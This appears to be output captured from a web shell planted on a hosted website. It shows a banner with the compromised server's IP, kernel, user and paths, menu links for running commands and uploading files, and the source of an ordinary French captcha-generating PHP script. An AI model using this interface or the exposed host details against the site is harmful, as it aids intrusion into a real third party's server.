|
Server IP : 10.111.40.2 / Your IP : 216.73.217.145 Web Server : Apache System : Linux webd002.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : comimage ( 586) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/comimage/agencecomimage.com/inc/captcha/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require(dirname(__FILE__).'/../tools/configuration.php');
//=========== CREATION CAPTCHA ==============
session_start();
/* Chemin absolu vers le dossier */
if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/');
/* Stockage de la chaîne aléatoire de 5 caractères obtenue */
$theCode = getCode(5);
/* Cryptage de la chaine avec md5() avant de la stocker dans la variable de session $_SESSION['captcha'] de la session en cours.
C'est à cette variable qu'on va comparer le code entré par l'utilsateur dans le formulaire. */
$_SESSION['captcha'] = md5($theCode);
/* Afin de traiter les caractères séparément, on les stocke un par un dans des variables. */
$char1 = substr($theCode,0,1);
$char2 = substr($theCode,1,1);
$char3 = substr($theCode,2,1);
$char4 = substr($theCode,3,1);
$char5 = substr($theCode,4,1);
/*
glob() retourne un tableau répertoriant les fichiers du dossier 'fonts', ayant l'extension .ttf ( pas .TTF ! ).
Vous pouvez donc ajouter autant de polices TrueType que vous désirez, en veillant à les renommer.
*/
$fonts = glob('fonts/*.ttf');
/* ==================== TRAITEMENT DE L'IMAGE ==================== */
/*
imagecreatefrompng() crée une nouvelle image à partir d'un fichier PNG.
Cette nouvelle $image va être ensuite modifiée avant l'affichage.
*/
$image = imagecreatefrompng('captcha.png');
/*
imagecolorallocate() retourne un identifiant de couleur.
On définit les couleurs RVB qu'on va utiliser pour nos polices et on les stocke dans le tableau $colors[].
Vous pouvez ajouter autant de couleurs que vous voulez.
*/
$colors=array ( imagecolorallocate($image, 0,12,255),
imagecolorallocate($image, 186,0,255),
imagecolorallocate($image, 0,216,255),
imagecolorallocate($image, 25,52,0),
imagecolorallocate($image, 24,0,0));
/*
Mise en forme de chacun des caractères et placement sur l'image.
imagettftext(image, taille police, inclinaison, coordonnée X, coordonnée Y, couleur, police, texte) écrit le texte sur l'image.
*/
//imagettftext($image, 28, -10, 0, 37, random($colors), ABSPATH .'/'. random($fonts), $char1);
//imagettftext($image, 28, 20, 37, 37, random($colors), ABSPATH .'/'. random($fonts), $char2);
//imagettftext($image, 28, -35, 55, 37, random($colors), ABSPATH .'/'. random($fonts), $char3);
//imagettftext($image, 28, 25, 100, 37, random($colors), ABSPATH .'/'. random($fonts), $char4);
//imagettftext($image, 28, -15, 120, 37, random($colors), ABSPATH .'/'. random($fonts), $char5);
imagettftext($image, 28, 0, 5, 37, random($colors), ABSPATH .'/'. random($fonts), $char1);
imagettftext($image, 28, 10, 38, 37, random($colors), ABSPATH .'/'. random($fonts), $char2);
imagettftext($image, 28, -10, 60, 37, random($colors), ABSPATH .'/'. random($fonts), $char3);
imagettftext($image, 28, 10, 98, 37, random($colors), ABSPATH .'/'. random($fonts), $char4);
imagettftext($image, 28, -15, 122, 37, random($colors), ABSPATH .'/'. random($fonts), $char5);
/* ========================= FIN => ENVOI DE L'IMAGE ========================= */
/*
Comme c'est le fichier captcha.php et non captcha.png qui va être appelé,
on envoie un en-tête HTTP au navigateur via header() pour lui indiquer
que captcha.php est bien une image au format PNG.
*/
header('Content-Type: image/png');
/* .. et on envoie notre image PNG au navigateur. */
imagepng($image);
/* L'image ayant été envoyée, on libère toute la mémoire qui lui est associée via imagedestroy(). */
imagedestroy($image);
?>